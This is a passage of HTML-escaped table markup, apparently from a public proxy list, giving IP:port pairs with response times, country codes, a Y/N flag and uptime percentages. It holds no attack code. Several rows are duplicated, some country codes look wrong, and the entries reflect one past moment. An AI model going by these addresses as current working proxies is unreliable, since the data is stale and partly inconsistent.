class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;90%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;202.170.80.59:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.804&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;MK&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;92%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;123.242.153.99:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.889&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;TH&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;92%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;221.203.79.101:443&lt;/td&gt;   &lt;td class="xl65"&gt;2.142&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;62.112.33.159:80&lt;/td&gt;   &lt;td class="xl65"&gt;4.914&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;DE&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;22%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;196.41.132.28:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;ZA&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;187.49.88.1:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;97%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;202.100.209.238:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;96%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;119.145.5.123:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;93%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.59.191.237:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;96%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;123.49.32.228:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BD&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;202.112.49.244:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;190.121.114.227:80&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CL&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;89.218.79.54:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;KZ&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;58%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;218.203.206.134:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;91%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.91.21.108:3127&lt;/td&gt;   &lt;td class="xl65"&gt;0.187&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;187.17.133.137:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.197&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;97%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;77.245.127.46:5190&lt;/td&gt;   &lt;td class="xl65"&gt;0.222&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;RU&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;74%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;187.5.99.138:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.239&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;186.3.109.130:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.243&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;MK&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;85.24.181.244:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.261&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;SE&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;91.201.156.129:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.265&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;UA&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;96%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;122.121.152.74:8088&lt;/td&gt;   &lt;td class="xl65"&gt;0.28&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;TW&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;222.213.248.137:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.331&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;84.22.52.210:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.423&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;MK&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;190.41.180.147:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.428&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;MK&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;96%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;95.170.194.26:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.43&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;IQ&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;82%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;187.5.128.179:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.489&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;89%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.30.220.132:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.492&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;54%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;109.235.49.110:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.505&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;NL&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;61.183.225.94:81&lt;/td&gt;   &lt;td class="xl65"&gt;0.525&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;186.215.207.171:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.536&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;NN&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;95%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;65.172.48.18:8081&lt;/td&gt;   &lt;td class="xl65"&gt;0.536&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;US&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;97%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;41.239.101.171:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.556&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;EG&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;202.51.111.82:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.557&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;ID&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;187.7.112.21:3129&lt;/td&gt;   &lt;td class="xl65"&gt;0.568&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;218.207.217.245:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.582&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;190.15.204.18:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.589&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;AR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;82.200.168.156:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.628&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;KZ&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;87%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.91.199.98:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.636&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;189.126.219.86:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.665&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.86.128.8:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.674&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;93%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;77.232.139.187:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.701&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;RU&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;97%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;218.207.217.245:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.582&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;190.15.204.18:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.589&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;AR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.91.199.98:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.636&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;189.126.219.86:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.665&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.86.128.8:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.674&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;93%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;87.224.199.115:8888&lt;/td&gt;   &lt;td class="xl65"&gt;0.695&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;RU&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;33%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;77.232.139.187:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.701&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;RU&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;97%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;41.190.225.201:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.703&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CM&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;97%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;189.10.142.19:3128&lt;/td&gt;   &lt;td class="xl65"&gt;0.708&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;BR&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;100%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;118.96.95.124:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.709&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;ID&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;89%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;201.249.86.28:8000&lt;/td&gt;   &lt;td class="xl65"&gt;0.738&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;MK&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;86%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;218.207.217.230:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.78&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;95%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;79.172.35.74:82&lt;/td&gt;   &lt;td class="xl65"&gt;0.827&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;RU&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;69%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;200.70.25.242:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.842&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;AR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;117.102.101.219:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.846&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;ID&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;92.61.178.108:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.849&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;NN&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;95%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;88.58.85.122:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.866&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;IT&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;90%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;110.136.148.153:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.915&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;ID&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;96%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;200.43.141.171:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.915&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;AR&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;99%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;190.41.205.37:8080&lt;/td&gt;   &lt;td class="xl65"&gt;0.939&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;MK&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;83%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;218.207.217.228:80&lt;/td&gt;   &lt;td class="xl65"&gt;0.955&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;CN&lt;/td&gt;   &lt;td class="xl65"&gt;Y&lt;/td&gt;   &lt;td class="xl66"&gt;98%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;202.86.204.37:3128&lt;/td&gt;   &lt;td 